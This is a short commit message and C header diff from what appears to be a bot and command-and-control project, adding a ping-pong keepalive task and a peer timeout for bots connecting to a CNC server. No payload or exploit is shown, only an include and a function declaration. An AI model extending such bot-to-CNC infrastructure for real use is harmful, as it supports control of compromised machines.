Added LAIKAPKT_PINGPONG

- shell now has it's own task service, it's polled in shellC_poll()
- default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h

bot/include/bot.h

@@ -5,6 +5,7 @@
 #include "lpacket.h"
 #include "lsocket.h"
 #include "lpeer.h"
+#include "ltask.h"
 #include "lpolllist.h"
 #include "lsodium.h"
 
@@ -22,4 +23,6 @@ void laikaB_freeBot(struct sLaika_bot *bot);
 void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
 bool laikaB_poll(struct sLaika_bot *bot, int timeout);
 
+void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
+
 #endif